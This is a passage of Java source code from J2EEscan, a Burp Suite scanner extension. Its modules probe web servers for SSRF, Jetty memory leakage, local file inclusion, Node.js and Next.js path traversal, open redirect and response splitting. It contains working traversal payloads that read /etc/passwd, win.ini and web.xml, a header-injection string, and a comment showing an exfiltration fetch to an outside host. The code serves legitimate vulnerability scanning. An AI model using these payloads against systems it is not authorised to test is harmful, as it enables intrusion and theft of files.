29 | public class JavascriptSSRF implements IModule {
30 |
31 | private static final String TITLE = "ReactJS SSRF Scanner";
32 | private static final String DESCRIPTION = "J2EEscan identified a potential SSRF vulnerability";
33 |
34 | private static final String SSRF_REMEDY = "Execute a code review activity to mitigate the SSRF vulnerability "
35 | + "References : "
36 | + "http://10degres.net/aws-takeover-ssrf-javascript/ "
37 | + "https://reactjs.org/docs/faq-ajax.html "
38 | + "https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API";
39 |
40 | private PrintWriter stderr;
41 |
42 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
43 |
44 | IExtensionHelpers helpers = callbacks.getHelpers();
45 | List issues = new ArrayList<>();
46 |
47 | stderr = new PrintWriter(callbacks.getStderr(), true);
48 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
49 |
50 | // weaponized exploit fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
51 | String payload = "fetch('https://%s')";
52 |
53 | // Collaborator context
54 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
55 |
56 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net )
57 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
58 | String payloadReactSSRF = String.format(payload, currentCollaboratorPayload);
59 |
60 | // make a request containing our injection test in the insertion point
61 | byte[] checkRequest = insertionPoint.buildRequest(payloadReactSSRF.getBytes());
62 |
63 |
64 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
65 | baseRequestResponse.getHttpService(), checkRequest);
66 | byte[] response = checkRequestResponse.getResponse();
67 |
68 | // Poll Burp Collaborator for remote interaction
69 | List collaboratorInteractions
70 | = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
71 |
72 | if (!collaboratorInteractions.isEmpty()) {
73 |
74 | issues.add(new CustomScanIssue(
75 | baseRequestResponse.getHttpService(),
76 | reqInfo.getUrl(),
77 | checkRequestResponse,
78 | TITLE,
79 | DESCRIPTION,
80 | SSRF_REMEDY,
81 | Risk.High,
82 | Confidence.Certain
83 | ));
84 | }
85 |
86 | return issues;
87 |
88 | }
89 |
90 | }
91 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/JettyRemoteLeakage.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.HTTPMatcher;
4 | import static burp.HTTPMatcher.getMatches;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.IssuesHandler;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.issues.IModule;
16 |
17 | import java.io.PrintWriter;
18 | import java.net.URL;
19 | import java.util.ArrayList;
20 | import java.util.List;
21 |
22 | /**
23 | *
24 | * Detection of the Jetty Remote Leak Shared Buffers research of GDS Security
25 | *
26 | * References:
27 | *
28 | * http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
29 | * https://github.com/GDSSecurity/Jetleak-Testing-Script
30 | * https://twitter.com/gdssecurity
31 | *
32 | */
33 | public class JettyRemoteLeakage implements IModule {
34 |
35 | private static final String TITLE = "Jetty Remote Leak Shared Buffers";
36 | private static final String DESCRIPTION = "J2EEScan identified a vulnerable Jetty instance; "
37 | + "remote unauthenticated users are able to read arbitrary data from other HTTP sessions "
38 | + "References : "
39 | + "http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html "
40 | + "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2080";
41 |
42 | private static final String REMEDY = "Update the Jetty component with the last stable release";
43 | private static final byte[] INJ_TEST = {(byte) 0};
44 | private static final byte[] GREP_STRING = "400 Illegal character 0x0 in state".getBytes();
45 |
46 | private PrintWriter stderr;
47 |
48 |
49 | @Override
50 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
51 |
52 | List issues = new ArrayList<>();
53 | IExtensionHelpers helpers = callbacks.getHelpers();
54 |
55 | stderr = new PrintWriter(callbacks.getStderr(), true);
56 |
57 | IHttpRequestResponse jettyResponse;
58 |
59 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
60 |
61 | URL url = reqInfo.getUrl();
62 | String host = url.getHost();
63 | String protocol = url.getProtocol();
64 |
65 | // Execute the test only if Burpsuite detected a Jetty Servlet container
66 | // to limitate unnecessary HTTP requests
67 | if (IssuesHandler.isvulnerabilityFound(callbacks,
68 | "Information Disclosure - Jetty",
69 | protocol,
70 | host)) {
71 | return issues;
72 | }
73 |
74 | if (!"Referer".equals(insertionPoint.getInsertionPointName())) {
75 | return issues;
76 | }
77 |
78 | // make a request containing null byte to trigger the HTTP response code 400
79 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
80 |
81 | jettyResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest);
82 |
83 | try {
84 | byte[] response = jettyResponse.getResponse();
85 |
86 | if (response != null) {
87 |
88 | List matches = getMatches(response, GREP_STRING, helpers);
89 | if (matches.size() > 0) {
90 | issues.add(new CustomScanIssue(
91 | baseRequestResponse.getHttpService(),
92 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
93 | jettyResponse,
94 | TITLE,
95 | DESCRIPTION,
96 | REMEDY,
97 | Risk.High,
98 | Confidence.Certain
99 | ));
100 | }
101 | }
102 |
103 | } catch (Exception ex) {
104 | stderr.println(ex);
105 | }
106 |
107 | return issues;
108 |
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/LFIAbsoluteModule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 |
4 | import burp.HTTPMatcher;
5 | import static burp.HTTPMatcher.getMatches;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.io.PrintWriter;
17 | import java.util.ArrayList;
18 | import java.util.Arrays;
19 | import java.util.List;
20 |
21 |
22 | /**
23 | * Further checks for local file include vulnerabilities
24 | *
25 | */
26 | public class LFIAbsoluteModule implements IModule{
27 |
28 | private static final String TITLE = "Local File Include";
29 | private static final String DESCRIPTION = "J2EEscan identified a local file include vulnerability. "
30 | + "It was possible to retrieve configuration files from the remote system."
31 | + " "
32 | + "References : "
33 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169 "
34 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202 "
35 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion ";
36 |
37 | private static final String REMEDY = "Execute a code review activity to mitigate the LFI vulnerability "
38 | + "References : "
39 | + "http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/file_disclosure_spring_webflow.html "
40 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion "
41 | + "http://cwe.mitre.org/data/definitions/22.html "
42 | + "https://www.securecoding.cert.org/confluence/display/cplusplus/FIO02-CPP.+Canonicalize+path+names+originating+from+untrusted+sources "
43 | + "https://www.securecoding.cert.org/confluence/display/java/FIO16-J.+Canonicalize+path+names+before+validating+them";
44 |
45 |
46 | private PrintWriter stderr;
47 |
48 | // the ".../....///" sequences, can bypas the blacklist patterns that removes
49 | // "../" and "./" chars
50 | private static final List LFI_INJECTION_TESTS = Arrays.asList(
51 | ".../....///.../....///.../....///.../....///.../....///.../....///etc/passwd".getBytes(),
52 | ".../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd".getBytes(),
53 | "../../../../../../../../../../../../../../../../etc/passwd%00.html".getBytes(),
54 | "file:///c:/windows/win.ini".getBytes(),
55 | "file:///etc/passwd".getBytes(),
56 | "file://\\/\\/etc/passwd".getBytes(),
57 | "%2fetc%2fpasswd".getBytes(),
58 | "../../../../../../../../../../../../../../../../windows/win.ini".getBytes(),
59 | "../../../../../../../../../../../../../../../../windows/win.ini%00.html".getBytes()
60 | );
61 |
62 |
63 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
64 |
65 | IExtensionHelpers helpers = callbacks.getHelpers();
66 | List issues = new ArrayList<>();
67 |
68 | stderr = new PrintWriter(callbacks.getStderr(), true);
69 |
70 |
71 | for (byte[] injTest : LFI_INJECTION_TESTS) {
72 |
73 | // make a request containing our injection test in the insertion point
74 | byte[] checkRequest = insertionPoint.buildRequest(injTest);
75 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
76 | baseRequestResponse.getHttpService(), checkRequest);
77 |
78 | try {
79 |
80 | // look for matches of our active check grep string
81 | byte[] response = checkRequestResponse.getResponse();
82 |
83 | if (HTTPMatcher.isEtcPasswdFile(response, helpers) ||
84 | HTTPMatcher.isWinIni(response, helpers)) {
85 |
86 | issues.add(new CustomScanIssue(
87 | baseRequestResponse.getHttpService(),
88 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
89 | checkRequestResponse,
90 | TITLE,
91 | DESCRIPTION,
92 | REMEDY,
93 | Risk.High,
94 | Confidence.Certain
95 | ));
96 |
97 | return issues;
98 | }
99 |
100 | } catch (Exception ex){
101 | stderr.println(ex);
102 | }
103 | }
104 |
105 | return issues;
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/LFIModule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 |
4 | import burp.HTTPMatcher;
5 | import static burp.HTTPMatcher.getMatches;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.J2EELFIRetriever;
12 | import static burp.J2EELocalAssessment.analyzeWEBXML;
13 | import burp.j2ee.Confidence;
14 | import burp.j2ee.CustomScanIssue;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.issues.IModule;
17 |
18 | import java.io.PrintWriter;
19 | import java.util.ArrayList;
20 | import java.util.Arrays;
21 | import java.util.List;
22 |
23 |
24 | /**
25 | *
26 | * Sometimes in J2EE environments absolute LFI attempts fails, because
27 | * the issue is limited to the web application context.
28 | *
29 | * The module tries to retrieve the web.xml file of the remote J2EE application
30 | */
31 | public class LFIModule implements IModule{
32 |
33 | private static final String TITLE = "Local File include - web.xml retrieved";
34 | private static final String DESCRIPTION = "J2EEscan identified a local file include vulnerability. "
35 | + "It was possible to retrieve the web file descriptor of the remote web application. "
36 | + "This vulnerability could be used to disclose any file under the web app root (example: Java classes "
37 | + "and source code, J2EE jar libraries, properties files with sensitive credentials)."
38 | + " ";
39 |
40 | private static final String LFI_REMEDY = "Execute a code review activity to mitigate the LFI vulnerability "
41 | + "References : "
42 | + "http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/file_disclosure_spring_webflow.html "
43 | + "https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion "
44 | + "http://cwe.mitre.org/data/definitions/22.html "
45 | + "https://www.securecoding.cert.org/confluence/display/cplusplus/FIO02-CPP.+Canonicalize+path+names+originating+from+untrusted+sources "
46 | + "https://www.securecoding.cert.org/confluence/display/java/FIO16-J.+Canonicalize+path+names+before+validating+them";
47 |
48 | private PrintWriter stderr;
49 | private static final byte[] GREP_STRING = " LFI_INJECTION_TESTS = Arrays.asList(
51 | "../../../../WEB-INF/web.xml".getBytes(),
52 | "../../../WEB-INF/web.xml".getBytes(),
53 | "../../WEB-INF/web.xml".getBytes(),
54 | "../WEB-INF/web.xml".getBytes(),
55 | "%c0%ae/WEB-INF/web.xml".getBytes(),
56 | "%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
57 | "%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
58 | "%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
59 | // Spring Webflow payloads
60 | "../../../WEB-INF/web.xml;x=".getBytes(),
61 | "../../WEB-INF/web.xml;x=".getBytes(),
62 | "../WEB-INF/web.xml;x=".getBytes(),
63 | "WEB-INF/web.xml".getBytes(),
64 | ".//WEB-INF/web.xml".getBytes()
65 | );
66 |
67 |
68 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
69 |
70 | IExtensionHelpers helpers = callbacks.getHelpers();
71 | List issues = new ArrayList<>();
72 |
73 | stderr = new PrintWriter(callbacks.getStderr(), true);
74 |
75 | for (byte[] INJ_TEST : LFI_INJECTION_TESTS) {
76 |
77 | // make a request containing our injection test in the insertion point
78 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
79 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
80 | baseRequestResponse.getHttpService(), checkRequest);
81 |
82 | try {
83 |
84 | // look for matches
85 | byte[] response = checkRequestResponse.getResponse();
86 | List matches = getMatches(response, GREP_STRING, helpers);
87 | if (matches.size() > 0) {
88 |
89 | issues.add(new CustomScanIssue(
90 | baseRequestResponse.getHttpService(),
91 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
92 | checkRequestResponse,
93 | TITLE,
94 | DESCRIPTION + " " + HTTPMatcher.getServletsDescription(helpers.bytesToString(response)),
95 | LFI_REMEDY,
96 | Risk.High,
97 | Confidence.Certain
98 | ));
99 |
100 | // Security Audit web.xml
101 | analyzeWEBXML(response, callbacks, checkRequestResponse);
102 |
103 | // Try to retrieve more configuration files using this threat
104 | J2EELFIRetriever.download(callbacks,
105 | checkRequestResponse,
106 | checkRequest,
107 | "web.xml");
108 |
109 |
110 | return issues;
111 | }
112 |
113 | } catch (Exception ex){
114 | stderr.println(ex);
115 | }
116 | }
117 |
118 | return issues;
119 | }
120 | }
121 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import burp.HTTPMatcher;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.IssuesHandler;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.issues.IModule;
16 | import java.io.PrintWriter;
17 | import java.net.MalformedURLException;
18 | import java.net.URL;
19 | import java.util.ArrayList;
20 | import java.util.List;
21 |
22 | /**
23 | *
24 | * Test for Next.js framework Path Traversal
25 | *
26 | * Reference:
27 | * http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
28 | * http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
29 | * CVE-2018-6184
30 | *
31 | */
32 | public class NextFrameworkPathTraversal implements IModule {
33 |
34 | private static final String TITLE = "Next Javascript Framework Path Traversal";
35 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
36 | + " of Next.js which is a framework for server-rendered React applications. "
37 | + "The remote installation is vulnerable to path traversal. "
38 | + "References : "
39 | + "https://github.com/zeit/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00 "
40 | + "https://raz0r.name/vulnerabilities/arbitrary-file-reading-in-next-js-2-4-1/";
41 |
42 | private static final String REMEDY = "Update the software with the last security patches";
43 |
44 | private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";
45 |
46 | private PrintWriter stderr;
47 |
48 | @Override
49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
50 |
51 | List issues = new ArrayList<>();
52 |
53 | stderr = new PrintWriter(callbacks.getStderr(), true);
54 |
55 | IExtensionHelpers helpers = callbacks.getHelpers();
56 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
57 |
58 | URL url = reqInfo.getUrl();
59 | String host = url.getHost();
60 | String protocol = url.getProtocol();
61 | Boolean isSSL = (protocol.equals("https"));
62 |
63 | if (!IssuesHandler.isvulnerabilityFound(callbacks,
64 | "Next Javascript Framework detected",
65 | protocol,
66 | host)) {
67 | return issues;
68 |
69 | }
70 |
71 | try {
72 |
73 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), NEXT_TRAVERSAL);
74 | byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest);
75 |
76 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
77 | url.getPort(), isSSL, utf8LFIAttempt);
78 |
79 | if (HTTPMatcher.isEtcPasswdFile(responseBytes, helpers)) {
80 | issues.add(new CustomScanIssue(
81 | baseRequestResponse.getHttpService(),
82 | urlToTest,
83 | new CustomHttpRequestResponse(utf8LFIAttempt, responseBytes, baseRequestResponse.getHttpService()),
84 | TITLE,
85 | DESCRIPTION,
86 | REMEDY,
87 | Risk.Low,
88 | Confidence.Certain
89 | ));
90 | return issues;
91 | }
92 |
93 | } catch (MalformedURLException ex) {
94 | stderr.println(ex);
95 | } catch (Exception ex) {
96 | stderr.println(ex);
97 | }
98 |
99 | return issues;
100 |
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.isEtcPasswdFile;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.io.PrintWriter;
17 | import java.net.MalformedURLException;
18 | import java.net.URL;
19 | import java.util.ArrayList;
20 | import java.util.LinkedHashSet;
21 | import java.util.List;
22 |
23 | /**
24 | *
25 | * Test for NodeJS Path Traversal
26 | *
27 | * Reference:
28 | * https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
29 | *
30 | * CVE-2017-14849
31 | *
32 | */
33 | public class NodeJSPathTraversal implements IModule {
34 |
35 | // List of host and port system already tested
36 | private static LinkedHashSet hs = new LinkedHashSet();
37 |
38 | private static final String TITLE = "NodeJS Path Traversal";
39 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
40 | + " of NodeJS. Node.js version 8.5.0 included a change which caused a security vulnerability "
41 | + "in the checks on paths made by some community modules. As a result, an attacker may be able "
42 | + "to access file system paths other than those intended. "
43 | + "References : "
44 | + "https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/ "
45 | + "https://security.tencent.com/index.php/blog/msg/121";
46 |
47 | private static final String REMEDY = "Update the software with the last security patches";
48 | private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";
49 |
50 | private PrintWriter stderr;
51 |
52 | @Override
53 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
54 |
55 | List issues = new ArrayList<>();
56 |
57 | IExtensionHelpers helpers = callbacks.getHelpers();
58 | stderr = new PrintWriter(callbacks.getStderr(), true);
59 |
60 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
61 |
62 | URL currentUrl = reqInfo.getUrl();
63 | String host = currentUrl.getHost();
64 | int port = currentUrl.getPort();
65 |
66 | String system = host.concat(Integer.toString(port));
67 |
68 | String protocol = currentUrl.getProtocol();
69 | Boolean isSSL = (protocol.equals("https"));
70 |
71 | // skip if the NodeJS has not been found on the system
72 | // if (!IssuesHandler.isvulnerabilityFound(callbacks,
73 | // "NodeJS detected",
74 | // protocol,
75 | // host)) {
76 | // return issues;
77 | //
78 | // }
79 |
80 | String currentPath = currentUrl.getFile();
81 |
82 | URL urlToTest;
83 |
84 | try {
85 |
86 | if (currentPath.endsWith(".js")) {
87 |
88 | String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length());
89 | urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL));
90 | byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
91 |
92 | byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(),
93 | currentUrl.getPort(), isSSL, nodejstest);
94 |
95 | if (isEtcPasswdFile(response, helpers)) {
96 |
97 | callbacks.addScanIssue(new CustomScanIssue(
98 | baseRequestResponse.getHttpService(),
99 | urlToTest,
100 | new CustomHttpRequestResponse(nodejstest, response, baseRequestResponse.getHttpService()),
101 | TITLE,
102 | DESCRIPTION,
103 | REMEDY,
104 | Risk.Medium,
105 | Confidence.Certain
106 | ));
107 |
108 | }
109 |
110 | }
111 |
112 | } catch (MalformedURLException ex) {
113 | stderr.print("Exception while creating url " + ex);
114 | }
115 |
116 | return issues;
117 |
118 | }
119 | }
120 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/NodeJSRedirect.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import burp.HTTPParser;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IResponseInfo;
10 | import burp.IScanIssue;
11 | import burp.IScannerInsertionPoint;
12 | import burp.j2ee.Confidence;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.IssuesHandler;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.issues.IModule;
17 | import java.io.PrintWriter;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.LinkedHashSet;
22 | import java.util.List;
23 |
24 | /**
25 | *
26 | * Test for NodeJS Server HTTP redirect
27 | *
28 | * Reference: https://nodesecurity.io/advisories/serve-static-open-redirect
29 | *
30 | * Example:
31 | *
32 | * http://example.com//www.example.com/%2e%2e
33 | *
34 | * the server replies with a 303 to:
35 | * Location: //www.example.com/%2e%2e
36 | *
37 | * This issue could afflict some browser (ex: firefox).
38 | * Google Chrome is not vulnerable
39 | *
40 | *
41 | *
42 | */
43 | public class NodeJSRedirect implements IModule {
44 |
45 | // List of host and port system already tested
46 | private static LinkedHashSet hs = new LinkedHashSet();
47 |
48 | private static final String TITLE = "NodeJS Open Redirect";
49 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
50 | + " of NodeJS. In some circumstances the open redirect vulnerability could be used "
51 | + " in phishing attacks to get users to visit malicious sites without realizing it. "
52 | + "References : "
53 | + "https://nodesecurity.io/advisories/serve-static-open-redirect "
54 | + "https://cwe.mitre.org/data/definitions/601.html";
55 |
56 | private static final String REMEDY = "Update the software with the last security patches";
57 |
58 | private static final String NODEJS_PATH = "///www.example.com/%2e%2e";
59 |
60 | private PrintWriter stderr;
61 |
62 | @Override
63 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
64 |
65 | List issues = new ArrayList<>();
66 |
67 | IExtensionHelpers helpers = callbacks.getHelpers();
68 | stderr = new PrintWriter(callbacks.getStderr(), true);
69 |
70 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
71 |
72 | URL url = reqInfo.getUrl();
73 | String host = url.getHost();
74 | int port = url.getPort();
75 |
76 | String system = host.concat(Integer.toString(port));
77 |
78 | // System not yet tested for this vulnerability
79 | if (!hs.contains(system)) {
80 |
81 | hs.add(system);
82 |
83 | String protocol = url.getProtocol();
84 | Boolean isSSL = (protocol.equals("https"));
85 |
86 | // skip if the NodeJS has not been found on the system
87 | if (!IssuesHandler.isvulnerabilityFound(callbacks,
88 | "NodeJS detected",
89 | protocol,
90 | host)) {
91 | return issues;
92 |
93 | }
94 |
95 | URL urlToTest;
96 |
97 | try {
98 |
99 | urlToTest = new URL(protocol, url.getHost(), url.getPort(), NODEJS_PATH);
100 |
101 | byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
102 |
103 | byte[] response = callbacks.makeHttpRequest(url.getHost(),
104 | url.getPort(), isSSL, nodejstest);
105 |
106 | IResponseInfo nodejsInfo = helpers.analyzeResponse(response);
107 |
108 | if (nodejsInfo.getStatusCode() == 301
109 | || nodejsInfo.getStatusCode() == 302
110 | || nodejsInfo.getStatusCode() == 303) {
111 |
112 | String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");
113 |
114 | if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {
115 |
116 | callbacks.addScanIssue(new CustomScanIssue(
117 | baseRequestResponse.getHttpService(),
118 | urlToTest,
119 | new CustomHttpRequestResponse(nodejstest, response, baseRequestResponse.getHttpService()),
120 | TITLE,
121 | DESCRIPTION,
122 | REMEDY,
123 | Risk.Medium,
124 | Confidence.Certain
125 | ));
126 |
127 | }
128 |
129 | }
130 |
131 | } catch (MalformedURLException ex) {
132 | stderr.print("Exception while creating url " + ex);
133 | }
134 |
135 | }
136 |
137 | return issues;
138 |
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPParser.getResponseHeaderValue;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IResponseInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.IssuesHandler;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.issues.IModule;
16 | import java.io.PrintWriter;
17 | import java.net.URL;
18 | import java.util.ArrayList;
19 | import java.util.LinkedHashSet;
20 | import java.util.List;
21 |
22 | /**
23 | *
24 | * Test for NodeJS Response Splitting
25 | *
26 | * Reference:
27 | * https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
28 | * http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
29 | * http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
30 | *
31 | */
32 | public class NodeJSResponseSplitting implements IModule {
33 |
34 | private static final String TITLE = "NodeJS Response Splitting";
35 | private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
36 | + " of NodeJS. A Response Splitting vulnerability has been found. "
37 | + "References : "
38 | + "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf "
39 | + "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/";
40 |
41 | private static final String REMEDY = "Update the software with the last security patches";
42 |
43 | private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
44 |
45 | private PrintWriter stderr;
46 |
47 | @Override
48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
49 |
50 | List issues = new ArrayList<>();
51 |
52 | IExtensionHelpers helpers = callbacks.getHelpers();
53 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
54 |
55 | URL url = reqInfo.getUrl();
56 | String host = url.getHost();
57 |
58 | String protocol = url.getProtocol();
59 |
60 | // skip if the NodeJS has not been found on the system
61 | if (!IssuesHandler.isvulnerabilityFound(callbacks,
62 | "NodeJS detected",
63 | protocol,
64 | host)) {
65 | return issues;
66 |
67 | }
68 |
69 | // make a request containing our injection test in the insertion point
70 | byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ);
71 |
72 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
73 | baseRequestResponse.getHttpService(), checkRequest);
74 |
75 | byte[] response = checkRequestResponse.getResponse();
76 |
77 | IResponseInfo respInfo = helpers.analyzeResponse(response);
78 |
79 | if (getResponseHeaderValue(respInfo, "InjectionHeader") != null) {
80 | issues.add(new CustomScanIssue(
81 | baseRequestResponse.getHttpService(),
82 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
83 | checkRequestResponse,
84 | TITLE,
85 | DESCRIPTION,
86 | REMEDY,
87 | Risk.Medium,
88 | Confidence.Certain
89 | ));
90 | }
91 |
92 | return issues;
93 |
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.getMatches;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
